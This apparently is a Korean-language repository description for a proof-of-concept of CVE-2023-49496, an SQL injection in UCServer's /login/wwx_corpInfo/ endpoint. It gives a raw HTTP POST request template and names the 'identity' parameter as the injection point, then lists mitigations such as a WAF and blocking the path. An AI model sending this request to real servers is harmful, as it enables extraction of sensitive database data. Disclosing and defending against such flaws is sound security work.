huangyanqwq/cve-2023-49496_pocCVE-2023-49496에 대한 개념 증명 익스플로잇으로, /login/wwx_corpInfo/ 엔드포인트를 통해 UCServer에서 SQL 인젝션을 시연하여 민감한 데이터베이스 정보를 추출합니다.
UCServer는 고급 융합 통신 서버입니다. 上海澍品信息科技有限公司의 UCServer에 SQL 삽입 취약점이 존재하며, 공격자는 이 취약점을 이용하여 데이터베이스의 민감한 정보를 획득할 수 있습니다.
POST /login/wwx_corpInfo/ HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
Referer: http://example.com/
Content-Length: 132
Accept-Encoding: gzip,deflate,br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
Host: example.com
Proxy-Connection: Keep-alive
&identity=
POST 요청 본문에서 "identity"가 주입 지점입니다
웹 방화벽을 활성화하십시오. 모든 IP의 "/login/wwx_corpInfo/" 경로 접근을 금지하십시오. 데이터베이스가 외부 원격 연결을 수락하지 못하도록 설정하십시오. 데이터베이스 버전을 업그레이드하십시오.